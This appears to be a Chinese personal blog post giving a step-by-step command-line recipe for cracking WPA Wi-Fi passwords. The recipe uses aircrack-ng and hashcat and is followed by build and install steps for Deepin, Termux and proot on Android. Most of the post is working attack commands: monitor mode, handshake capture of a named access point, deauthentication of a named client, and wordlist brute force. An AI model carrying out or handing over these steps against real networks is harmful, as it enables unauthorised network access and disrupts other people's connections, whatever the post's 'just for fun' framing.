破解无线网密码的步骤很简单:
- 抓包
- 暴力破解
不过也就是娱乐一下,密码较复杂的,基本上是破不出来的。
说白了也就是穷举法一个一个试嘛!
以下直接上命令行了,环境是在Deepin上,当然你也可以用kali。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| ifconfig
sudo apt-get install aircrack-ng
sudo airmon-ng
sudo airmon-ng start wlp2s0mon
sudo airodump-ng wlp2s0mon
sudo airodump-ng -c 9 --bssid 98:13:33:79:A7:A8 -w /home/easul/Desktop/ wlp2s0mon
sudo aireplay-ng -0 10 -a 98:13:33:79:A7:A8 -c 22:C0:5F:C5:44:5D wlp2s0mon
sudo airmon-ng stop wlp2s0mon
sudo aircrack-ng -w /home/easul/Desktop/password.txt -b 98:13:33:79:A7:A8 /home/easul/Desktop/test.cap
sudo apt-get install hashcat
sudo aircrack-ng test.cap -j hashcat
hashcat -m 2500 hashcat.hccapx /home/easul/Desktop/password.txt
cd cap hashcat -m 22000 393808_1730114561.hc22000 -a 1 front.txt end.txt --force -d 3
hashcat -I
|
注意:破解成功与否主要和密码字典有关,反正我是没有成功==!
你也可以测试你自己家的密码,你在一个文本里写上你家的密码后,还像这样进行密码爆破,就成功了!
附几个密码包(仅供娱乐使用,可能大概率破解不出来)
hashcat用法的参考链接
aircrack-ng的参考
2024年12月9日: 增加电脑自行编译安装的步骤
1 2 3 4 5 6 7 8 9 10 11 12 13
| sudo apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils
cd ~/Desktop wget https://download.aircrack-ng.org/aircrack-ng-1.7.tar.gz tar -zxvf aircrack-ng-1.7.tar.gz cd aircrack-ng-1.7
autoreconf -i ./configure --with-experimental make sudo make install ldconfig
|
参考如下
2025年5月11日: 增加termux自行编译安装的步骤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| pkg update pkg upgrade
apt install git apt install python apt install clang automake autoconf binutils libtool
git clone https://github.com/aircrack-ng/aircrack-ng.git cd aircrack-ng
autoreconf -i ./configure --with-experimental
make
echo "4" > /sys/module/wlan/parameters/con_mode
pkg install tsu
tsu
iw dev
|
参考
2025年5月11日: 使用proot安装aircrack-ng
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| pkg update pkg upgrade pkg install proot-distro curl wget tsu
proot-distro install debian
tsu proot-distro login debian
apt update && apt upgrade apt install aircrack-ng wireless-tools iw net-tools
|
注意的点
wpa_supplicant 不关闭也可以使网卡处于监听模式